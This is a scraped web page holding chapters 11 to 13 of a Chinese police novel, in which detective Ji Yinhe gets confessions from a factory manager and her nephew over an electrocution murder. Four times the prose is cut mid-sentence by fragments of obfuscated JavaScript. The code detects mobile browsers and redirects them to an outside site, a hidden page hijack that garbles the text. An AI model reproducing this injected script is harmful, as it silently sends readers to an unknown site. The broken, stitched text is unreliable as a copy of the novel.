l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669974|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小季来啦。” “车副队早。” 季银河赶紧屏住呼吸,找了个相对通风的位置坐下。 被铐在铁桌后审讯椅上的李国萍抬起眼,无精打采地打量来人。 季银河捋起耳边碎发,迎上她的目光。 只是过去了一夜,李国萍看起来断崖式衰老,头发没那么卷了,垂落在额前,挡住她竭力维持的颓败神色。 “呵。” 口红褪去,唇瓣干裂,她发出了一声冷笑。 “笑什么笑!”车志文厉声敲着桌子,“态度严肃点!” 季银河垂下眼,翻看起手边的口供本——上面来来回回都是那么几句车轱辘话,例如“你为什么杀张春波?”“行李箱里的赃款是怎么来的?” 一律被李国萍以“拒绝回答”“不知道”“不清楚”应付。 显然他们的车轮战,就是不准嫌疑人睡觉,不给水喝不给饭吃,重复问问题,像熬鹰一样把真话给逼出来。 没想到对方看起来是个漂亮文弱女人,骨子里却狠劲十足,撬开她的嘴比登天还难。 车志文吼累了,低头抿口茶,“我说李总经理,李大小姐,您这一晚上连口水都没喝上,真不渴吗?您只要回答一个问题,我保准给您好吃好喝得伺候着!” 李国萍面无表情。 季银河慢悠悠阖上了口供本。 ——这么下去可不行。 车志文的熬鹰套路看起来像占据上风,但是拖了整整一晚,现在的审问节奏早已被打乱。 李国萍心知肚明,警察绝不会眼睁睁看着她渴死饿死。只要她始终坚称不知情,就会是占据主动权的那个人。 车志文又把问题问了几遍,果然,坐在审讯椅上的女人还是垂着她优雅的脖颈,不为所动。 他颓败地啧了声,用胳膊肘捣捣旁边的人,“你来试试?” 季银河垂眸思考片刻,从桌下拿出档案盒,将尸检报告中的四张照片在桌面上一字排开,用指尖推倒李国萍眼前。 “这是张春波掌心的电流斑,边缘已经炭化隆起,中间有蜘蛛形灼斑,是典型高压电击的特征。” “这是总装车间的电机铭牌,显示380V。” “这是电机外壳的焊接痕迹,说明有人把电路改装了。” “这是张春波的尸体状况,十天过去,即便经过冷冻保存,也腐烂得很严重了。” 她眼神锋利但语气平淡,声音不高,却说得缓慢有力,将每个字都清清楚楚送进李国萍耳朵里。 尤其那张触目精心的尸体照片,总算让对面有了点反应。 李国萍掀起眼皮,往椅背上一靠。 “设备就放在车间里,人来人往,每个人都有可能改电路……小警察,你凭什么说是我动的手?”她轻声一笑,“我还说是张厂医干的呢。” 季银河心中微微一凛。 李国萍为什么这么笃定? 难道她坚信他们找不到最有力的证据? 季银河没说话,观察对面半晌,起身离开审讯室,抓住了还站在走廊上啃包子的唐辞。 “唐队,李国萍侄子呢?保安不是说张春波死前看见他进车间了吗?” 唐辞眯起眼,“李国萍不招找他也没用啊,派出所的同志昨晚已经把人控制住了,今天找时间送——” “现在就把他带过来。”小季同志皱起秀气的眉头,“我直觉,他才是审讯的突破口。” 11. 第 11 章 等李国萍侄子送过来的功夫,季银河没再陪车志文熬毫无意义的鹰。 而是顺着走廊一拐,进了隔壁羁押室。 录完口供的张洪波、发小老刘和火葬场哑巴都被关在里面。 大概因为该交代的都交代了,李国萍也被捉拿归案,心上石头落了地,三人各自霸占几条长板凳,陷入昏睡。 在震天的呼噜声中,季银河瞥了眼眼皮红肿的张洪波,坐在铁栏外的椅子上,翻起了他的口供—— 今天是张春波“意外死亡”的第十四天,但对于张洪波来说,却像过了一个世纪那么长。 他俩打小就是孤儿,张父战死他乡,消息传到江潭后,母亲又因悲伤过度而跳河。 在街道的帮扶下,兄弟俩并没放弃学业,七十年代,张洪波和张春波一同毕业,回到压缩机厂工作,一个当厂医,另一个就当了电工。 然而因为家里没人帮忙张罗,厂里女职工又少,他们都错过了娶妻生子的机会。 好在压缩机厂工资稳定,两人家庭观念也不重,这么相依为命地活了下去……直到一个月前的某天清晨,下夜班回来的张春波叫醒熟睡的哥哥,说自己无意中发现李总经理的秘密。 “秘密?”张洪波还没睡醒,头昏脑胀地揉着眼睛。 “对,我换班出去抽烟的时候,看见李总蹲在车间后面的草丛里烧东西。” 张春波心绪不安地从口袋里摸出一张边缘焦黄的小纸片。 “哥,你看看。”他把台灯拧亮,“这个是不是发票?如果她不是干了坏事,干嘛要烧发票呢?” 张洪波一激灵,立刻就心惊胆战起来。 “你去她烧完的灰堆里翻了?” “对啊。” “你糊涂!”张洪波一股脑坐起身,“万一被她发现了怎么办?” 张春波睁大眼,“我特意等到她离开才过去——” “这事你别管了!”张洪波武断地把纸片从弟弟手里夺回来,起身去公厕扔进蹲便坑冲掉。 张春波从小到大都很听哥哥的话,偏偏这一次例外了。 两天后的夜班,他又一次发现李国萍在草丛里烧纸。 压缩机厂这阵子入不敷出,闹了好一阵子停薪,工人们都人心惶惶的,害怕捧了一辈子的饭碗到头来被砸了个稀巴烂。 万一李国萍真干了什么背叛压缩机厂和职工的事,是不是抓到她的把柄,就能力挽狂澜,让大家继续干下去了? 草场广袤无边的黑暗里,那点鲜红刺目的火光无比诱人,向他发出沉沉低语。 张春波下意识向前迈了一步。 也就是这一步,让李国萍发现了他的窥视,迅速抬脚踩灭火堆,隐进了更浓的黑暗里。 接下来发生了什么,张洪波并不清楚。一周后的某个白天,他正在卫生所坐诊,忽然看见小护士脸色煞白地跑进来。 “——张大夫!张大夫!你弟弟出事啦!” 车间与卫生所仅几百米之遥,张洪波连白大褂都来不及脱,起身便跑,到了现场,只看见他在这世上唯一的亲人静静躺在地上,身上覆着白布,已经没了气息。 有几秒,他完全没意识到发生了什么,整个人像是被雷劈了一样,呆在原地,艰难地思考事实。 有工人围上来,“张大夫,你也别太难过,我们都看见了,春波一个人在这忙,忽然就倒了,电工出意外不稀奇……” 就这样,一直到警察和几个装模作样的领导过来,弟弟的尸体被拉走,他都愣愣地站在那儿,一个字没说。 直到张春波出殡前,他才忽然回过味来。 ——这一切都发生得太巧了。 他第一个怀疑的人就是李国萍,苦于没有证据,就连那张小纸片也被扔了,即便在电机上发现被动手脚的痕迹,但派出所已经认定是意外,对他的控诉置之不理。 也不知道是试探还是炫耀,张春波出事三天后,李国萍还特意送来了一笔不菲的抚恤金。 张洪波表面上老实接受,实则把自己关在家里,牙根都要咬碎了。 他在心底暗暗发誓:一定要为弟弟复仇! 电视机里恰好播放着全国各地群众练习气功的新闻,报纸上登着江潭市公安局局长接受“百日无案”锦旗的照片,而张春波的床头,正摊放着他没读完的《庄子·逍遥游》。 只要事情闹得够大,见证的人够多,就一定能查到李国萍头上吧! 张洪波的脑海里忽然浮现出一场大师登仙的“妙计”…… 他用那笔抚恤金买通了火葬场的哑巴,将弟弟尸体保存下来,然后辞去工作,去外地学习装神弄鬼的把戏。 半个月后,再次回到压缩机厂的张厂医,摇身一变成赫赫有名的张大师! 通过在国营冷饮厂工作的发小老刘,著名气功大师张洪波的神迹在西郊一带迅速传播,几场表演下来,就连哑巴火化工也被唬成了他的信徒。 到了7月30号,张洪波发现明晚将会下起暴雨,这或许会是个“表演”的好时机。 他留下一封预知自己即将得道登仙的遗书,通知火化工带尸体到现场,又让老刘帮忙弄来一点干冰,邀请他的信徒们于深夜时分集合,作为共同的见证。 打完报警电话,他深吸口气,走向让弟弟丧命的总装车间。 这一次,似乎连老天爷都站在他们兄弟这边。 那场如约而来的暴雨,不仅让信徒们确定他有“呼风唤雨”的能力,更是断了厂区的电,连干冰障眼法都省去了。 不过张洪波还是遵循着原本的计划,在烟雾中完成换尸,割破手指写下血字,然后在夜色和草丛的遮蔽下,离开了压缩机厂。 一切都很完美,甚至离开之前,他还不舍地向弟弟投去最后一瞥。 只是没想到,警察来得太快,他用完的干冰罐和电工刀无处掩埋,只能丢在路边,让老刘第二日过来捡。 这才给了季银河用五折叠砸中嫌疑人的机会。 此刻,小季警官阖上口供本,深深叹了口气。 转过头,醒来的张洪波正一言不发地隔着铁栏杆望向自己。 “那个,警察同志。”他瞪大浮肿的眼,“请问,我弟弟的尸体是不是还在这里?能不能让我再见他一面?” “……” “求求你了同志!”张洪波沟壑纵横的老脸上都是泪水,“我就这一个弟弟,这一个亲人啊!” 季银河站起身,考虑了一下才回答:“我得和领导请示一下。” 唐辞不在局里,小伍说等了半天派出所民警还没到,急得他亲自开车找人去了。 队长不在就只能找副队,季银河敲响审讯室的门,车志文背着手出来,还没听完就摇头说不行。 季银河眼底闪过一丝恻隐,“张洪波又没有杀人,而且他还是死者的兄长……” “反正我不同意。”车志文冷漠转身,“要不你问唐辞。” 门在季银河面前阖上,她也没气馁,蹭了蹭掌心的汗水,直奔顶楼。 局长办公室的门被叩响,正在看案情进展报告的饶正好抬起头,对上一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669975|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌黑清澈的眼睛。 “小季啊,进来。”饶正好心情颇好,“听说你在重案一队干得不错啊,怎么,遇到瓶颈了,想回来写材料了?” “不是。”季银河深吸口气,“我想请您帮个忙。” * 十分钟后,季银河和程漠将张洪波从羁押室带出。 叶晴已经将尸体从冷柜中推至解剖台上,拉开套在外面的编织袋,露出一张灰白色的脸。 “春波啊——!” 张洪波一进解剖室,就发出一声绝望的咆哮。 他整个人都站不直了,带着手铐,跌跌撞撞地往前一扑,险些撞倒了站在旁边的叶晴。 大家都吓了一跳,季银河眼疾手快,一把拽住了张洪波的衣领。 而程漠不动声色地将叶晴护在身后。 “对,对不起!” 张洪波朝叶晴点了个头,直直跪倒在张春波身旁。 “春波!弟啊——!哥给你报仇了!警察把李国萍抓了!” “可是你死了,哥一个人怎么活下去啊!” 他的声音悲恸而粗哑,在解剖室里回荡,让在场一众铁汉都跟着唏嘘了起来。 唯二的两位女警眼圈都红了。 这时,小伍从解剖室门口挤进来,低声道:“唐队把李国萍侄子带回来了。” 季银河掸去腮边的泪水,立刻转身下楼。 走进审讯室,在唐辞身边坐下时,她已经恢复了冷静专业的状态。 李国萍侄子叫李坚,本地人,无业,百无聊赖地坐在椅子上,看起来相当油滑。 “……目前查到他们二人这几日bp机传讯频繁,李国萍想乘船离开江潭,八成就是李坚通风报信,但是考虑到姑侄关系,也不算有力证据。”唐辞把季银河叫出来,神色不快,“和他姑姑一样,应该事先商量好了,派出所民警昨晚问过一遍,什么都不说。” “警官,这都几点了,你们行不行啊——”李坚的声音从内间传出来,“我饿了,想吃大油条和豆腐脑!” 季银河深吸口气,“目击者不是看见张春波死前一晚他进车间了吗? “电机就摆在那里,实际上谁都能动,因此我们现在还是得找到改装者是他的直接证据。” “其他工人呢,问了吗?” “问了,早就被他和他姑姑买通了,全说不知道。”唐辞抬手摁住了眉心。 “……” 在李坚得意且不屑的叫嚷中,审讯室内外的空气一寸寸紧绷。 季银河轻轻屏住呼吸,将视线落向走廊尽头的窗外。 外面骄阳似火,行人往来,不远处就是市人事局的大门,几名干部夹着文件,进进出出,一脸匆忙。 她忽然想起来,老季也经常代表街道办去人社部门办事,为了帮退休人员争取福利待遇,没少和单位扯皮。 ……等等,退休人员! 季银河神情一动,“我们不要问车间里的在岗工人。” 唐辞皱眉,“嗯?” “在岗工人害怕得罪领导丢饭碗,不会说实话,但我们漏了一种人,他们的劳动关系已经脱离工厂,进入街道了。” “你是说……” 季银河笑起来,眼眸亮晶晶的,“我是说,曾在压缩机厂工作,现在已经退休的工人。” 唐辞猛地打了个响指,转身跑进隔壁办公室,让西郊街道办的工作人员查出几名压缩机厂退休电工的号码,一一打过去询问。 没想到在第二通电话里,他们就得到了想要的答案。 12. 第 12 章 电风扇在墙角转动,扇叶搅起的风里裹着潮湿的霉味。 时间在一分一秒流逝。 审讯室里,李坚悠闲地翘起二郎腿,神情相当松快惬意。 他已经在这儿坐了半个多小时了,看来警察也没什么招数,更没找到证据。 他相信,很快那些束手无策的警察只能老老实实地把他和姑姑送出市局。 吱呀一声,审讯室的门被人推开。 那个年轻漂亮的警花走了进来,整整衣服,在对面的椅子上坐下。 李坚唇角弯起来,忍不住抛去一个媚眼。 “警察妹妹,看你年纪不大,不会才毕业吧?”他学港片里大哥的派头,偏头摸摸唇角,“公安局这种地方不适合你,太辛苦!不如跟哥走吧!” 警花皱起秀气的鼻尖,对他置之不理。 她微微不快的模样让李坚觉得好玩极了,“哥带你南下,去深圳做生意,保准你吃香的喝辣的——” “李坚。”季银河用清冷严肃的声音打断他,“我再问你最后一遍,张春波死亡前一晚,你是不是去总装车间改造了电机的线路?” “我说警察妹妹,我都回答了多少遍,老问就没意思了!” 季银河面无表情地点点头。 就在此时,别在她腰上的BP机忽然响了一声,她低头看了一眼,站起身。 “哎你怎么就走了啊,再聊会嘛妹妹——” 李坚意兴阑珊地支起下巴,目送她走出审讯室。 这位警花肯定刚来不久,业务能力还不熟练,别的警察离开前都会把门紧紧关上,生怕被嫌疑人听到半点风声,偏偏她走得匆匆忙忙,门也没带好,留了一条窄窄的缝,坐在内间里,还能听见她在隔壁办公室打电话的声响。 李坚来了兴致,高高竖起耳朵。 没想到传进来的第一句话,就让他面色忽然青了一度。 “……前苏联绝缘设备?哦,在采集指纹了是吧,好的唐队您辛苦……没事,他还是什么都不说……对啊,李国萍一整夜没吃喝,我们都觉得她快开口了,嗯,看他们谁先说吧……” 李坚咽了口唾沫,额头冒出涔涔冷汗。 那台电机是谁都能碰不假,可是要改接万伏高压线,只能用前苏联的绝缘设备! 李国萍当时给了他一笔钱,让他从市面购买。 可李坚作为压缩机厂职工子弟,分明知道厂里就有配套设备,而且平时就在维修间里锁着,完全没必要多花钱。 他便把那笔钱私自昧了下来,从工人那里拿来钥匙,趁着夜黑风高取出设备,把电机给改装了。 完事后,他把设备擦了擦,原模原样地送回去,并锁上了维修间的大门。 没想到第二天还钥匙时,竟被姑姑看见了。 李国萍将他狠狠骂了一顿,斥责他贪小钱办坏事,如果车间工人告诉警察他借过钥匙,那么他动电机的嫌疑可就甩不脱了! 为此,姑侄两私下联系了那几个工人,恩威并施,不准他们透露任何实情。 所以李坚眼下很不明白,警察怎么能这么快就知道他用过设备了呢? 而且竟然还从上面采集到了指纹,这到底是怎么回事?是谁出卖了他? 难道是……姑姑? 李坚烦躁地搓了搓脸,心跳变得飞快。 门重新被推开,警花一脸镇定地走了回来,回到椅子上坐下。 李坚有一肚子话想问,带着试探的神色,往那张年轻漂亮的脸上打量。 然而对方却毫无波澜,靠在椅子上随意地翻看口供。 李坚脸色越来越白,坐如针毡,全然没有先了的自在。 ……这到底是什么情况? 当然,季银河虽然低着头,实则一直用余光悄悄打量李坚的状态。 如果她没猜错的话,他的心理防线就快被突破了! 刚才那通电话,正是她与唐辞商量后,故意打给李坚听的。 压缩机厂的退休电工告诉他们,总装车间的电机改装电路,必须得用前苏联绝缘设备。 而那套绝缘设备,就锁在维修间里。 维修间的钥匙掌握在车间少数几个工人手中,按照厂里规定,每一次使用那套设备,都需要进行登记。 如果能将设备上验出的指纹与登记册名单一一对照,没登记的人,必定就是偷偷拿设备改装电机的真凶! 不过季银河很快发现,这个推论也有缺陷。 如果真凶擦去了指纹,或者心机深胆子大,故意登记了名字,笃定警察不会耗费精力去核对每一次使用的真实情况,那么还是很有可能逃脱的。 可眼下时间紧张,来不及找更多的证据了。 万一真凶就是李坚和李国萍,这次从市局离开,他们一定会马不停蹄地离开江潭。 就算有了更直接的证据,到时再想抓人,只怕就没这么容易了。 季银河把假借打电话实则诈人的想法一说,唐辞当即立断道:“可以试一试。” 他抄起BP机正准备去审讯,一条纤细的胳膊却把他拦了下来。 “唐队,我面生,又是个年轻的女警,李坚必定不把我放在眼里。”季银河认真道,“我留在市局诈他,您带人再去趟压缩机厂,找到设备验指纹。” 唐辞默了默,“你说得对,就算有口供也得找到物证,我就不信整个车间找不到一点他留下的痕迹……小伍!叫上老田,你们跟我去压缩机厂,程漠等在审讯室外,小季一个女生,万一李坚突然做出过激行为,你要及时阻止。” “是!”“好。” “小季,舞台交给你了。”唐辞看着季银河笑了笑,大步走向停在办公楼门口的大吉普车。 * 时间回到当下,完成表演第一步的小季同志借着桌面的遮挡,向门外的程漠比了个“ok”的手势。 收到信号的程漠低头在bp机上操作了两下。 很快,审讯室传出响亮的“哔哔”声。 当着李坚的面,季银河将bp机拿出来,目光飞快扫过屏幕,露出一个控制不住的激动神情。 “太好了!” 她甚至攥紧双拳,偷偷摸摸比了个“耶”的姿势,又像害怕被李坚发现了似的,迅速松开拳头,恢复正常神色。 “那个,警察妹妹啊……” 李坚的屁股在椅子上不安地挪动。 “别急。”季银河抬起头,一脸诚恳地望着对方,“我等下就走,什么都不会告诉你的,待会我们队长过来接班,你有什么想说的,留着跟他说吧。” 她深吸口气,开始酝酿情绪。 在刚才的电话里,唐辞说他们已经找到了绝缘设备,小伍正带着老田做指纹对比。 而他也有了意想不到的收获。 “李坚的邻居告诉我,李国萍的兄长,也就是李坚的父亲住院了。”唐辞说,“我刚跟医院核实了一遍,是绝症,要做手术,需要一大笔钱,所以李坚实际上很缺钱,这大概是他成为李国萍帮凶的动机……” 季银河顺着他的思路:“但是李国萍却想带着这笔钱远走高飞,也就是说,姑侄俩对于如何分赃并没有达成共识!” “对。”唐辞轻笑了声,“你可以借机发挥了。” 这个发现确实给了季银河“演下一场戏”的灵感。 果然,李坚听说要换人,抓着桌角,有点急了,大叫道:“你别走啊!” 好端端的,队长为什么要过来审讯? ——他心中的猜测仿佛得到了进一步验证。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669976|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >难道他们真的找到证据了? 李国萍不会已经招了吧? “警察同志,我姑姑到底都跟你们说什么呀?”李坚摸了摸脑袋,放弃转弯抹角,“你给透点信,我也好有个数,是不是……” 可对面的季银河却眨了眨她纯真清澈的大眼睛。 片刻后,一滴晶莹的泪水从眼角涌了出来。 “我真的什么都不知道,他们都出外勤了,把我临时抓来加班来着。” “都出去了?”李坚惊讶地问,“为什么呀?” “我哪儿知道!”她可怜巴巴地吸了吸鼻子,“也不怕你笑话,我六大娘得了血癌,日本电视剧《血疑》你看过吗?治病要花好多好多钱……” 李坚脸色陡然一变。 “我爸爸妈妈去医院照顾去了,我又帮不上什么忙,要是能多赚点钱就好了,可是市局连加班费都没有……” 季银河还担心这段煽情戏码会不会演得太突兀,没想到对面的男人相当入戏,哇的一声哭了出来。 “我爸也得了癌症!”李坚挂出个硕大的鼻涕泡,“我懂你,我跟你说,这事没轮到自己头上,都不了解厉害!” “是啊!我和我六大娘可亲了,真不忍心看她受罪!”季银河装模作样地拿衬衣袖子揩眼睛,“可是这病真的很烧钱,我爸妈把全家积蓄都拿出来,也填不上那个窟窿!” “可不!我姑连一分都不想给我!” 季银河耳廓一动,丝滑地问:“你姑姑不是搞了很多钱吗?” 毫无察觉的李坚叹气道:“但她是个铁公鸡啊,一毛不拔,什么好事都让她占尽了!要不是我爷爷奶奶让她读了中专,哪能进厂坐办公室?结果人为了当总经理,不结婚不生孩子,钱也不交家用,全用在打扮上,生生把我奶气死……李国萍就他*是个自私的白眼狼!” 季银河义愤填膺,“太过分了!” “是啊!太过分了!” 审讯室里安静下来,没人出声。 除了李坚粗重的呼吸外,连空气都凝结住了。 良久之后,他突然问:“如果我比我姑姑先交代,那到法庭上,是不是能判轻点?” 季银河看了他两秒,轻轻点头,程漠走进审讯室,拿起口供本和录音笔。 李坚捏紧扶手椅,长长叹了口气。 自从被民警带走后,他就按照与姑姑的约定,装出油腻奸猾的模样,以拖延审讯时间。 但此刻,警察已经找到了那套设备,万一有漏擦的指纹,万一李国萍已经放弃抵赖,等待他的,就会是漫长的牢狱岁月。 甚至是死刑。 李坚不想再演下去了,老实交代完实情,说不定还能请警察说说情,少判几年。 也许还能多陪爸爸一些时间。 “那个电机……是我动了手脚。”他垂下头,“但是李国萍让我改的,具体怎么操作,也都是她教我的。” 程漠问:“动机呢?” “姑姑说张春波发现她半夜烧发票,可能会举报,到时候家里就没人挣钱了……只要我能把事情解决掉,她就会出钱给我爸治病!”李坚深吸口气,“警察同志,我小学没毕业,还以为接万伏电也就是吓唬吓唬张春波呢,我真没想杀人,真不知道会死人的啊!” 他交代完,虚弱无力地跌靠回椅背。 程漠拿口供给他确认,按下手印。 季银河站起身,“感谢你的交代,现在我们要去审你姑姑了。” “……”李坚神情恍惚地抬起头,“李国萍她,什么都没说?” “是的。”季银河点头,“还有——” 她露出一个尴尬而不失礼貌的微笑。 “其实,我没有六大娘。” 缓缓回过神的李坚:“……” 13. 第 13 章 “……李国萍就他*是个自私的白眼狼!” 啪的一声,季银河按下录音机上的按钮。 磁带停止旋转,审讯室里静得只能听见几声低低的抽泣。 “你的侄子李坚已经招了,我们的技术人员也找到了那套绝缘设备,很快就会化验出指纹。”季银河声音轻柔地说,“人证物证俱在,当然,你可以坚持不承认犯罪事实,但是老实交代的话,或许不会判得那么重。” 坐在审讯椅上的李国萍面如金纸,捏着衣摆的手指止不住颤栗,本就憔悴的脸上挂着两行清泪,看起来比厂志照片上的她老了十多岁。 “我……”她闭上眼,深深吸了口气。 再睁开眼,那双妩媚的眼睛里多了一丝嘲讽。 “李坚说的没错,我就是自私。”李国萍哑着嗓子,苦笑着反问,“可是自私怎么了?人活着不就是为了自己吗?我辛苦大半辈子,凭什么要为别人?” “……” 程漠和季银河都没回答。 “你们知道吗?我本来成绩很好的,是因为我爸妈想让我哥去念高中念大学,家里供不起两个大学生,这才让我读了中专,让我早早顶岗进厂工作,住宿舍吃食堂,省下工资挣钱供我哥读书!” “哈哈哈!但是我哥自己不争气,连高中的门边都没摸到!怪谁?难道怪我吗?” 李国萍唇瓣剧烈抖动着,埋藏在心底的怨愤像毒汁一样,从身体深处迸发出来。 “这些年,我什么都没从家里得到过,是我自己不要命地努力工作,放弃婚姻,成天成夜地外出跑销售,这才从小员工爬上总经理。” “在外人面前我是受人尊敬的李总,可是背地里,那一家子却像吸血虫一样,成天找我要钱,还在职工面前说我不赡养父母不照顾家庭!” “我给我哥兜底兜了一辈子!他结婚我包了八千块红包,他要装电话,我又掏了五千初装费!去年要给李坚在上海买房,我又出了整整四十万!可癌症是治不好的,我就剩那点钱,难道还要跟着丢进无底洞吗?” 她的脸煞白吓人,大口大口喘气,胸膛剧烈起伏着。 “李国萍! 程漠皱起眉头,想制止她继续说这些家庭恩怨,季银河却悄悄抬手,拉了下他的袖子。 “让她说,发泄出来后就会说正事了,而且犯罪动机也很重要,不是吗?” “……” 程漠顿了两秒,收回目光点点头。 “……要不是你们这些警察,我现在已经带着钱离开江潭获得自由了!” 李国萍咆哮了一声,毫无生气的脸上终于因激动而出现一丝血色。 “你们根本不明白,那个箱子对我而言意味着什么!对,虽然它是赃款,但也是我活了几十年第一回拥有的可以自己支配的钱,真真正正属于我的财产!是我通往自由,离开那个吸血家庭的通行证!哈哈哈哈哈——” 她的神情放浪又古怪,笑声在整个审讯室上方盘旋。 外面的车志文都被惊扰,忍不住进来查看情况,被刚从压缩机厂赶回来的唐辞拉在门外。 良久之后,审讯室才重新安静下来。 金属手铐铛铛振响,李国萍抬起手腕,囫囵抹去挂在下巴上的泪珠。 “给。”季银河递了几张卫生纸过去。 李国萍并没有接,吸了吸鼻子,将脸转到一边。 季银河将纸放在桌子上,轻轻叹了口气,“李总,听了你的遭遇,我觉得你真的很不容易。” 李国萍冷笑,“你懂什么?” “——我懂你为什么要把那个行李箱扔进江里。”季银河冷静温柔的声音响起,“我想,对于你来说,那些钱既是自由的通行证,也是你这辈子过上逍遥人生的希望吧?你不是害怕赃款被没收,而是不想那个希望落入我们警察手中,被记者写进报纸,成为别人饭后的谈资……所以你宁愿它沉入江底,对不对?” 李国萍被她的话击中,浑身狠狠一颤。 “但是李总,不义之财就是不义之财。” 季银河把张春波尸检的照片重新递到她眼前。 “那些钱沾上了血,就永远不会真正属于你,就算你真的离开江潭,远走高飞,背负着这么重的罪孽,我想你也未必能获得想象中的自由和快乐。” 李国萍的表情就像被人扼住了喉咙似的。 “如果张春波什么都没有看见就好了……”她勉强挤出了几个字,拿起桌上的卫生纸,狠狠擦去泪水。 半晌后,李国萍垂下眼睫。 “——好,我交代。” “其实也不复杂,到了我这个位置,想贪污方法太多了……我是通过虚开增值税专用发票和运费发票报账的方式,采用虚假退货款等手段,从厂里骗取了一些公款。” “拿到钱后有些证据留不得,我趁深夜一把火烧了,被张春波发现,我害怕事情败露,就想到了用高压电电死他的方法,这样神不知鬼不觉,也不会有人怀疑到我头上。” “李坚那段时间总来找我要钱,我就把改装电路的方法教给他了……” “再后来就是张洪波装神弄鬼,搞什么逍遥功……听说他升仙时死了,厂里来了很多警察,我觉得不对,就去了码头,躲在船上偷听风声,祈祷你们不会查到我头上,结果还没跑成,就被你们抓住了。” 她用一声绝望的叹息,结束了对自己犯罪事实的陈述。 * “做得不错。” 审讯室外,唐辞向季银河投去一个称赞的眼神。 不得不承认,她在经手的第一起案件上,就展现出了极大的天赋。 若是换成寻常新人警察,听到队长的表扬,或许会谦虚两句,表示自己是运气好,感谢领导和同事的支持。 不过小季同志却毫不谦虚地嘿嘿一笑。 “谢谢唐队,我也觉得我做得不错。” 唐辞忍俊不禁地摇摇头,接过程漠递过来的口供本,“行,转交给经侦人员核实吧。” 程漠应声去了,小伍走过来说,“我跟看守所联系过了,他们的人已经在路上,很快就到。” “好。”唐辞长呼出口气。 后方传来了手铐和脚镣互相碰撞的金属声。 分别被警察从审讯室带出来的张洪波和李国萍在走廊上相遇。 两人停下脚步,面面相觑。 轰一声雷响,窗外炸开一道紫电,天色迅速转阴,豆大的雨水又噼里啪啦落了下来。 “春波!你在天上,是不是也看到了?”张洪波的视线穿过绿色墙裙,看向那一方天空,痛哭流涕,“哥为你申冤了!” 李国萍面无表情地盯着他,像盯着一片死寂。 “……” 看守所的囚车抵达市局大院,季银河跟在李国萍、李坚、张洪波还有老刘、哑巴火化工后面,目送他们走到苍穹之下。 等待着他们的,是检察院的起诉和法院的审判。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669977|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“同志,麻烦过来签个字!”看守所的狱警核对完信息,朝季银河喊了声。 “诶,来了!” 季银河没穿雨披,只能将手抵在额前,猛冲进细密雨幕。 “一共五个人,签这里这里还有这里。”狱警在车边撑起伞,“案子破得真快,辛苦了啊。” “不辛苦,应该的。”季银河笑眯眯,双手将笔递了回去。 雨势越发猛烈,像是天空裂开了口子,倾盆而下,空气里飘着与那晚一样的微腥气息。 五人都没说话,鱼贯而机械地爬上囚车。 门咣一声关闭,鲜红的尾灯在灰色雨雾中亮起。 季银河却没有转身回去,而是静默地站在雨中,凝望着那点红光缓缓驶出市局。 碎发湿漉漉地黏在额头上,她抹了把脸上的水,一把大黑伞忽然从后方伸了过来。 唐辞站在她身后,一只手插在口袋里,一只手握着伞炳,微微垂下的眼睛里带着一丝几不可见的笑意。 “第一次办案的感觉怎么样?” “老实说,有点复杂。”季银河想了想,“能参与侦破很激动,找到线索很开心,但是了解到嫌疑人的动机之后,又觉得每个人都有苦衷……但我明白,犯罪就是犯罪,生活再苦再难,都不能伤害别人!” 她的脸上露出坚毅果决的神色,让那张本就好看的五官更显出惊心动魄的生命力。 唐辞就忍不住多看了她几秒。 “唐队,我们回——” 季银河转过身,视线扫过头顶上方的雨伞,愣了一瞬,忽然哈哈大笑起来。 “计划生育先进工作者!哈哈哈哈哈哈唐队,看不出来,您居然都结婚生孩子了呀?” “……”唐辞看着布面上的红色印花大字,摸了摸额角,解释道,“这是我从办公室随便拿的,一定是老车的伞……” 他声音越来越小,如果仔细听的话,还能听出一丝别样的心虚。 但季银河长腿一跨,已经轻快地跑进办公大楼,甩了甩脑袋上的雨水。 “你可能还得留下来加个班。”跟在她身后的唐辞边收伞边说,“这次你表现不错,饶局说明天开案件总结会,到时你代表一队做个总结发言,好好准备啊!” 季银河:“……” 吃过午饭,大家都收拾收拾回家了,只有她一个人坐在办公桌前,将脑子搁在支起手臂上,一边转笔,一边对着铺开的信纸发呆。 同样是写材料,但是业务报告和给饶局写的发言稿完全是两回事。 她想好好写,认真写,把这次破案工作中的亮点全部都展示出来。 而且市局有一台幻灯机,她琢磨着,如果能结合照片和图示做报告,那一定又生动又好看。 